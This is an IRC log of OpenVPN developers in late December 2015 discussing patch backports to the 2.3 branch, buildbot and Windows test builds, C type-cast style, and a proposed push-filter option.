didn't apply those to 2.3 earlier 04:53 <@cron2_> dunno 04:54 <@cron2_> ok, these two are truly trivial :-) 04:54 <@cron2_> done 04:54 * cron2_ wonders how to document that properly 04:55 <@syzzer> yeah, I was first put them in a patchset for the 1.3 upgrade and was staring at the commit msg when I realized I can outsource this problem :') 04:57 <@cron2_> 57000ac..2b9b3e5 release/2.3 -> release/2.3 04:57 <@cron2_> smart move :) 05:07 <@cron2_> sorry for the spelling 05:10 <@syzzer> thanks :) 05:11 <@cron2_> so how big is the patchset? 05:11 <@syzzer> I merged the upgrade patches into a single commit, because replaying my mistakes really doesn't make sense 05:11 <@syzzer> so 2 patches 05:12 <@syzzer> 'upgrade' and 'report expiry' 05:12 <@cron2_> make sense, so it's not some "broken in between state" 05:12 <@syzzer> or maybe 'report expiry' can even be cherry-picked now 05:12 <@syzzer> let me check 05:13 <@cron2_> it should be cherry-pickable after changing the rest (two picks... :) ) 05:14 <@syzzer> doesn't cherry-pick cleanly 05:15 <@syzzer> due to ecdh changes 05:16 <@syzzer> resolving is quite trivial though. what do you prefer, a fixed (and combined) patch for release/2.3, or cherry-picking and fixing the two commits? 05:40 <@syzzer> I just sent both, you can decide if you prefer to cherry-pick or not :) 06:18 <@cron2_> I'll consult with the one who ACKed the original patches and we'll decide on something :) 06:42 <@cron2_> long patch 06:42 <@cron2_> some of these are fairly trivial (cert->crt, rsa->pk) though 06:44 <@cron2_> + openvpn_snprintf (name_expand, sizeof(name_expand), "X509_%d_\?\?", 06:44 <@cron2_> I think the backslashes in there are just "line noise", though :) 06:45 <@cron2_> but that is old-and-new code, just reindented 06:53 <@cron2_> is that a "New Feature" or a "Behavioural Change"? 07:09 <@cron2_> OpenVPN 2.3.9 i686-pc-linux-gnu [SSL (PolarSSL)] [LZO] [EPOLL] [MH] [IPv6] built on Dec 19 2015 07:09 <@cron2_> library versions: PolarSSL 1.3.9, LZO 2.08 07:23 <@cron2_> Test sets succeded: 1 1a 1b 1d 2 2a 2b 3 4 4a 5 8. 07:23 <@cron2_> PASS: t_client.sh 07:23 <@cron2_> PASS: t_lpback.sh 07:24 <@cron2_> PASS: t_cltsrv.sh 07:28 <@cron2_> Sat Dec 19 14:27:46 2015 WARNING: Your certificate has expired! 07:32 <@cron2_> 2b9b3e5..dfd940b release/2.3 -> release/2.3 07:33 <@cron2_> mattock: in our next meeting, we should cover "testing 2.3"... 07:33 <@cron2_> actually... 07:33 <@cron2_> can I just tell buildbot to build 2.3 now...? 07:36 <@cron2_> argh 07:36 <@cron2_> I can but it does not acknowledge the "BUILD ALL!" but silently throws me back to the start page, so all builders are now building release/2.3 3 times 08:20 <@cron2_> hrmph... and it pulls openvpn-testing from sf, which does not have release/2.3 in it... 08:20 * cron2_ summons a mattock "please do the magic dance to build 2.3!" 09:08 <@syzzer> cron2_: oops, sorry, forgot to update Changes.rst 11:02 -!- roentgen [~none@unaffiliated/roentgen] has quit [Quit: roentgen] 11:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 11:34 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 11:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:52 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 11:59 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:14 -!- roentgen_ [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 12:21 -!- roentgen_ [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 12:22 -!- roentgen_ [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 12:45 -!- roentgen_ [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 12:45 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 12:58 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 13:12 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 13:15 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 13:46 <@cron2_> syzzer: httpdigest.c - master and 2.3, or only master? 13:55 <@cron2_> (though I don't truly like "&colon"... why not just make it unsigned char * colon = ":" and use that? 13:55 <@cron2_> unsigned char is guaranteed to be an uint8_t... 13:56 <@cron2_> technically there's no real difference, I just find &colon confusing to read 19:35 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 19:55 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 20:03 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 20:50 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Sun Dec 20 2015 00:53 -!- noobkit [~Nerazim@94.98.235.121] has joined #openvpn-devel 02:35 <@syzzer> cron2_: technically that is not true (uint8_t is always 8 bits, char is CHAR_BIT bits), but it probably is for our supported platforms 02:36 <@syzzer> see http://stackoverflow.com/questions/2098149/what-platforms-have-something-other-than-8-bit-char 02:36 <@vpnHelper> Title: c++ - What platforms have something other than 8-bit char? - Stack Overflow (at stackoverflow.com) 02:39 <@syzzer> (also, that line would need an extra cast: const unsigned char *colon = (const unsigned char *) ":";) 02:40 <@syzzer> so I agree that &colon is not nice, but in the end I didn't like either one of them... 02:44 <@syzzer> regarding your first question: both master and release/2.3. should cherry-pick without fuzz. 03:52 <@cron2_> well... I'd claim that if a char is 16 bits, the platform in question will not even *have* an uint8_t... as all integer types are required to be "larger or same size" as char... 03:52 <@cron2_> also "posix mandates CHAR_BIT == 8" :-) 03:55 <@cron2_> but anyway, this whole signed/unsigned *char* mess is one of the truly annoying corners of C... all these casts to silence the compiler do not really increase readability - but not doing them will hide other warnings in the noise *grumble* 04:09 <@syzzer> cron2_: yes, it is annoying either way 04:09 <@syzzer> but I'd be fine with using const uint8_t *colon = (const uint8_t *) ":"; 04:10 <@syzzer> shall I resend? 04:30 < noobkit> brb, maniudto sako 04:35 <@syzzer> plaisthos: good point about ENABLE_SMALL 04:37 -!- noobkit [~Nerazim@94.98.235.121] has quit [Ping timeout: 272 seconds] 04:39 <@cron2_> syzzer: yes, please 04:50 <@syzzer> cron2_: on the list 04:50 <@syzzer> plaisthos: v2 of the assert patch on the list too 04:54 <@plaisthos> syzzer: already acked :) 04:54 <@syzzer> heh, nice 05:39 -!- noobkit [~Nerazim@94.98.235.121] has joined #openvpn-devel 06:42 <@cron2_> plaisthos: what about syzzer's review of your compression v2 patch? 07:04 <@cron2_> plaisthos: your ACK did not make it to the list... 07:06 <@cron2_> syzzer: hrmp... I wonder if just using "md_ctx_update(&md5_ctx, (const uint8_t *) ":", 1)" might not make this look nicer overall... 07:07 <@cron2_> (because then we have the cast everywhere and the eye can sort of focus on "what is after the cast") 07:07 <@cron2_> but maybe nt 07:07 <@cron2_> not 07:19 * cron2_ wonders where mattock is... 07:25 <@vpnHelper> RSS Update - gitrepo: Make assert_failed() print the failed condition <https://github.com/OpenVPN/openvpn/commit/9b36bd40d393620cce83392f4a56392ba391fb7c> 07:42 <@mattock_> where am I? 07:42 <@cron2_> whee! 07:42 <@mattock_> I'm ever present 07:42 <@mattock_> :P 07:42 <@cron2_> mattock_: can you teach me the magic to make buildbot compile release/2.3 ? 07:42 <@cron2_> 87e555a, to be specific :) 07:43 <@cron2_> I tried yesterday, and apoligize for the ensueing spam fest 07:43 <@mattock_> hmm 07:43 <@mattock_> let's see 07:45 <@mattock_> whoa, so many git failures 07:46 <@cron2_> yeah, it always wants to fetch openvpn-testing.git, which does not have release/2.3 - and I couldn't find how to make it pull openvpn.git 07:49 <@mattock_> you can't switch to openvpn.git 07:49 <@mattock_> but I can change the URL in master.cfg 07:49 <@mattock_> for buildbot 07:49 <@mattock_> maybe use the one in GitHub? 07:49 <@mattock_> https://github.com/OpenVPN/openvpn.git ? 07:50 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com) 07:50 <@cron2_> hrmph 07:50 <@cron2_> our branches are distribute somewhat randomly 07:50 <@cron2_> github has master+release/x 07:50 <@cron2_> stable has master + rc/2.3 + release/x 07:50 <@cron2_> and testing has "lots of stuff + master, but not release/x" 07:50 <@mattock_> messy indeed 07:51 <@cron2_> so if I want to build from "testing/experimental", I actually need the openvpn-testing.git... (which we sort of planned as an option) 07:51 <@cron2_> so maybe just push release/2.3 to testing/ as well? 07:51 <@mattock_> yes, was about to suggest that 07:52 <@cron2_> "git push testing release/2.3:release/2.3" and done? or is there more magic needed? 07:52 <@mattock_> I don't know, haven't ever pushed branches except with "git push origin master" 07:53 * cron2_ invokes xkcd "the git master" and looks for dazo 07:53 <@mattock_> in lack of dazo, I would do a "git remote -v" and check what the openvpn-testing remote is called 07:54 <@mattock_> then do a "git push <whatever-it-is-called> release/2.3" 07:54 <@cron2_> "testing" here 07:54 <@mattock_> git push testing release/2.3 _might_ work 07:54 <@mattock_> no guarantees or warranty :D 07:54 <@cron2_> To ssh://cron2@git.code.sf.net/p/openvpn/openvpn-testing * [new branch] release/2.3 -> release/2.3 07:54 <@cron2_> magic 07:54 <@mattock_> excellent! 07:55 <@cron2_> yeah, mail from sf.net about new commits... 232k sized :) 07:55 <@cron2_> good 07:55 <@cron2_> now it should work? 07:56 <@mattock_> I suppose so 07:56 <@mattock_> I'll try 07:56 <@mattock_> looks like it works indeed 07:56 <@mattock_> branch: release/2.3 07:57 <@cron2_> cool 07:57 <@mattock_> "/usr/bin/git fetch -t git://git.code.sf.net/p/openvpn/openvpn-testing +release/2.3" 07:57 * cron2_ wonders why buildbot didn't build "master" today yet 07:57 <@cron2_> oh 07:57 <@cron2_> because I did not push yet... what did I do instead...?!? 07:57 <@cron2_> ah 07:58 <@cron2_> it went to stable and github, but pushing *master* to testing actually failed previously 08:02 <@cron2_> sooo... 08:02 <@cron2_> when shall we do the next meeting? 08:03 <@cron2_> Dec 28 would actually work for me 08:03 <@cron2_> agenda item: testing windows builds... 08:03 <@cron2_> and 2.3.10 release 08:16 <@mattock_> yeah, that should be doable 08:16 <@mattock_> the meeting 08:45 < noobkit> brb, mangita sa ko'g makaon sa deserto. 12:05 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 12:12 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 13:06 -!- noobkit [~Nerazim@94.98.235.121] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 13:19 -!- Bewstir [~Bewstir@69.80.99.86] has joined #openvpn-devel 13:20 < Bewstir> Im using VyprVPN and would be using the SHA1 Blowfish 160, how secure is this please 13:25 < Bewstir> #openvpn 14:19 -!- Bewstir [~Bewstir@69.80.99.86] has quit [] 15:18 <@syzzer> re meeting: dec 28 works for me too 15:20 <@syzzer> cron2_: putting the casts everywhere is fine with me too 15:20 <@syzzer> I can send a v3 of this no-op :') 15:28 <@syzzer> ok, after just putting the cast everywhere it indeed looks better 15:28 <@syzzer> I'll send a v3 ;) 15:41 <@cron2_> :) 16:18 < valdikss> Ok guys, here it goes https://medium.com/@ValdikSS/another-critical-vpn-vulnerability-and-why-port-fail-is-bullshit-352b2ebd22e2#.8o2qz5jzq 16:18 <@vpnHelper> Title: Another “critical” “VPN” “vulnerability” and why Port Fail is bullshit — Medium (at medium.com) 16:34 < wiz> good work valdikss 20:10 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 20:16 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 22:58 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 23:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:00 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Dec 21 2015 01:50 <@cron2_> +1 02:26 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:43 -!- woodrow_ [sid13914@gateway/web/irccloud.com/x-gbqhcgcwhfgbzhrs] has joined #openvpn-devel 03:46 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 03:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Killed (holmes.freenode.net (Nickname regained by services))] 03:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:50 -!- Netsplit *.net <-> *.split quits: siruf, woodrow, @syzzer, valdikss, @dazo_afk 03:50 -!- siruf_ is now known as siruf 03:50 -!- woodrow_ is now known as woodrow 04:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 04:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:05 <@mattock_> cron2: regarding doing windows build tests against the release/2.3 branch... 04:05 -!- eliasp_ [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 04:06 <@mattock_> it is probably doable, but a bit of trickery is needed 04:07 <@mattock_> I will do some testing and see how it goes 04:12 -!- Netsplit *.net <-> *.split quits: eliasp 04:29 <@cron2_> it's more, it's "building snapshots and making available", and also "actually *running* them". Both with 2.3.8 and with 2.3.9 we published stuff that we thought good but broke for some people on windows... 05:37 -!- ValdikSS [~valdikss@95.215.45.33] has joined #openvpn-devel 05:44 < ValdikSS> So guys, I'm waiting for your Bitcoin wallet. 08:21 <@mattock_> cron2: it looks like adapting the windows buildslave to build and publish release/2.3 -based snapshots works, at least tentively 08:22 <@mattock_> because the version.m4 says 2.3.9 on the release/2.3 branch, the build config needs to updated after each release 08:22 <@mattock_> tentatively 08:22 <@mattock_> I'm currently doing test builds which just might work 08:23 <@ecrist> mattock_: are you using my source snapshots? 08:23 <@ecrist> if so, I can change how they're packaged. 08:29 <@mattock_> ecrist: no, I'm cloning directly from git 08:38 <@ecrist> ok 11:40 <@cron2_> ecrist: you do relase/2.3 snapshots as well? 12:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 12:26 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 13:29 <@cron2_> dazo: your patch set from Aug 11 is still the current one? 14:19 <@ecrist> cron2_: no, Just release out of master, but I could release the others 15:35 <@cron2_> ecrist: no need to, I was jsut curious 15:35 <@ecrist> ok 20:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 20:31 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Tue Dec 22 2015 00:51 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 01:05 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 02:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:20 <@syzzer> hm, bouncer seems to have lost connection to freenode yesterday afternoon. did I miss anything important? 02:22 <@cron2_> 12:44 valdikss was asking for a bitcoin address to send moneyz to, 15:<ish> mattock was commenting about buildbotting 2.3 for windows (mostly "I think I can make it work" :) ) 02:22 <@cron2_> and that's about it 02:28 <@syzzer> thanks :) 02:47 < lev__> did you guy see this behavior on windows - after disconnecting ethernet cable, openvpn log is full of "write UDP: No buffer space available (code=55)" which raises bytes count very quickly up to heaven 02:59 <@cron2_> lev__: haven't seen this. Is this win10? 02:59 * cron2_ wonders *why* we have not seen this before... 03:05 < lev__> cron2_: win7 and surprisingly OS X. Probabyly we have something funny in parameters, will try to reproduce with simple config 03:08 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 250 seconds] 03:10 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:56 < ValdikSS> Seriously guys, we need an updated Windows version where GUI always runs as administrator 03:59 * cron2_ reminds mattock that we agreed to do this :) 06:24 <@plaisthos> ValdikSS: or someone reviewing heikos patches :) 06:41 <@cron2_> plaisthos: well... the review of that has been done, and the next steps identified... syzzer ist working on that 06:47 <@cron2_> s/ist/is sort-of / 07:12 <@cron2_> oops, forgot to push 07:15 <@vpnHelper> RSS Update - gitrepo: cleanup: get rid of httpdigest.c type warnings <https://github.com/OpenVPN/openvpn/commit/0385cd4804c133d48857e4b3fbfe93a75ecc68a5> 07:39 <@cron2_> mattock: could you poke the operatator of the arch buildslave again to upgrade his polarssl? 07:39 <@cron2_> especially arch linux should be bleeding edge enough to not have stale polarssl versions... 10:23 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 10:37 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 10:43 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 11:06 -!- saik0 [~saik0@unaffiliated/saik0] has joined #openvpn-devel 11:48 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 11:58 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 11:58 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:01 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:02 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:04 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:11 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:20 <@mattock_> cron2: I turned on the new Windows build tests: one builds "release/2.3" and the other builds "master" 12:20 <@mattock_> the email title shows which one is which 12:21 <@mattock_> there could be some glitches, but we'll see 12:21 <@mattock_> the builds are triggered 30 minutes apart, because the script does not handle concurrent builds at all 12:30 -!- noobkit [~Nerazim@46.152.167.187] has quit [Ping timeout: 260 seconds] 12:43 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 14:43 -!- noobkit [~Nerazim@46.152.167.187] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 16:26 < ValdikSS> https://torrentfreak.com/routing-feature-can-expose-vpn-users-real-ip-addresses-151222/ 16:26 <@vpnHelper> Title: Routing Feature Can Expose VPN Users Real IP-Addresses - TorrentFreak (at torrentfreak.com) 21:38 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 23:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 23:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:02 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Wed Dec 23 2015 00:37 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 01:37 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 02:15 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Ping timeout: 255 seconds] 02:30 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 02:31 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 02:31 < mator> cron2_, that fix for sparc, that we implemented is for sparc32 02:32 < mator> i.e. debian 7 02:32 < mator> i trying to build unstable/sid debian sparc64 iso currently 02:32 < mator> will test with it as well 02:33 < mator> if i'll manage to build iso and install from it 03:02 <@cron2_> mator: there is no "sparc32" in the linux world, it's all sparc64 03:03 <@cron2_> (that got me confused initially, so I tried to install "linux/sparc" on a 32 bit sparc quemu vm, and it would not even boot...) 15:30 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 240 seconds] 18:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 18:17 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:21 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 18:24 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Thu Dec 24 2015 00:47 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 00:55 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 05:55 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 08:12 <@vpnHelper> RSS Update - wishlistfeed: OpenVPN Connect App for AppleTV 4 <http://forums.openvpn.net/topic20434.html> 10:00 < noobkit> Happy Christmas 10:48 -!- noobkit [~Nerazim@46.152.167.187] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 14:01 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 14:02 < noobkit> Happy Christmas 14:03 < noobkit> listening to "Swiss Boy - Lou Sern" 16:09 < ValdikSS> Hey, slowpokes. What's with the bitcoin address and the moneyz itself? 17:26 < wiz> ValdikSS: sorry for the delay, my bitcoin address is 1wizSAYSbuyXbt9d8JV8ytm5acqq2TorC 18:42 -!- noobkit [~Nerazim@46.152.167.187] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] --- Day changed Fri Dec 25 2015 02:05 <@cron2_> valdikss: no idea, mattock is working on the moneyz topic 04:50 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 04:53 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 04:55 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 07:12 -!- noobkit [~Nerazim@46.152.167.187] has quit [Read error: Connection reset by peer] 07:13 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 08:03 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 08:05 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 08:05 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 250 seconds] 08:06 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 08:22 <@vpnHelper> RSS Update - gitrepo: Use bob.example.com and alice.example.com to improve clarity of documentation <https://github.com/OpenVPN/openvpn/commit/0f7319906a9dff58226821b1686fd80f4e4e3b35> 11:46 -!- noobkit [~Nerazim@46.152.167.187] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 12:20 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 13:36 -!- saik0_ [~saik0@unaffiliated/saik0] has joined #openvpn-devel 13:39 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Ping timeout: 250 seconds] 13:57 -!- noobkit [~Nerazim@46.152.167.187] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 14:02 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 255 seconds] 14:36 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 15:44 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 255 seconds] 15:48 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 23:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 264 seconds] 23:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Sat Dec 26 2015 03:20 <@cron2_> syzzer: work for you :) 03:34 <@syzzer> cron2_: I noticed :) 03:42 <@syzzer> work for you ;) 03:50 <@mattock_> more people working / coding in Christmas 03:51 <@mattock_> helps avoid boredom I would say :P 04:41 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 04:42 <@cron2_> All 3 tests passed 04:46 <@vpnHelper> RSS Update - gitrepo: Make certificate expiry warning patch (091edd8e299686) work on OpenSSL 1.0.1 and earlier. <https://github.com/OpenVPN/openvpn/commit/0e591a2fce325e2b91d429ea18aa6ed383330383> 04:53 <@cron2_> mattock: so how bored is a finnish christmas? I wonder whether lev__ is working on the patch, or drinking Schnapps :) 05:18 < ValdikSS> https://community.openvpn.net/openvpn/ticket/364#comment:7 05:18 <@vpnHelper> Title: #364 (UDP over IPv6 packet fragementation calculation error.) – OpenVPN Community (at community.openvpn.net) 05:19 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 06:09 <@cron2_> yeah, saw that, but didn't feel like "think through it" yet 06:54 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 08:43 <@mattock_> cron2: nothing happens here in Christmas 08:45 <@mattock_> so do we arrange a meeting tomorrow? 08:45 <@mattock_> sorry, monday 08:59 <@cron2_> mattock_: syzzer and I can be there, so I'd say "yes2 09:08 <@mattock_> sounds good to me 09:24 <@cron2_> my main topic is 2.3.10 release, but that depends a bit on "the windows team" to deliver repair for the XP / netsh.exe breakage... 09:26 < ValdikSS> Well, I can do that if lev__ is busy 09:27 <@cron2_> that would be cool. I'm happy to review and test (I have an XP VM available), but have no real time to do actual development. Haven't heard anything from lev__ yet, though... 09:34 <@cron2_> I'll see that I can focus on the push-filter patch then... 09:34 <@cron2_> and on dazo's patches 09:38 -!- noobkit [~Nerazim@46.152.167.187] has quit [Read error: Connection reset by peer] 09:39 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 10:42 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 245 seconds] 10:51 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 12:36 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 12:37 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 250 seconds] 13:02 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 13:02 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 276 seconds] 13:11 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 276 seconds] 13:32 <@cron2_> plaisthos: are you around? 13:46 <@plaisthos> cron2_: yes 14:34 -!- noobkit [~Nerazim@46.152.167.187] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 15:05 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 15:07 <@cron2_> ah 15:07 <@cron2_> plaisthos: I'm thinking about the push-filter (or whatever we want to call it) option again, and how to implement it 15:07 <@cron2_> my first thought was "build a list of 'blocked' options and filter at PUSH_REPLY time", but the more I think about it, 15:08 <@cron2_> the more I think that "apply at option-parsing time to the list of to-be-pushed options, and set enabled=false for all matches" 15:08 <@cron2_> that way, one could do stuff like 15:08 <@cron2_> push-filter route-ipv6 15:08 <@cron2_> push route-ipv6 <something else> 15:09 <@cron2_> and only those options pushed *after* the push-filter would be sent ("this client will see pushed IPv6 routes, but a different set" - I actually have such cases today and they are fairly annoying) 15:13 <@cron2_> the "o->enable = false" is used by the "remove pushed route from the client that is targeted by a specific iroute", so that's sane... 16:21 <@cron2_> anyway: patch sent to list. Surprisingly easy when you know where to poke 17:59 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 20:17 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Quit: Leaving] 23:32 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 255 seconds] 23:37 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Sun Dec 27 2015 00:36 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 250 seconds] 00:38 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 00:40 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 00:46 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 00:54 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 01:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 255 seconds] 01:36 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 01:51 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 01:54 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 01:59 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:05 -!- noobkit [~Nerazim@46.152.167.187] has quit [Ping timeout: 260 seconds] 02:10 -!- noobkit [~Nerazim@46.152.167.187] has joined #openvpn-devel 02:17 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 02:19 <@cron2_> plaisthos: so do you generally agree with the patch (besides the stale gc and missing docs) or not? 02:27 -!- luckman212 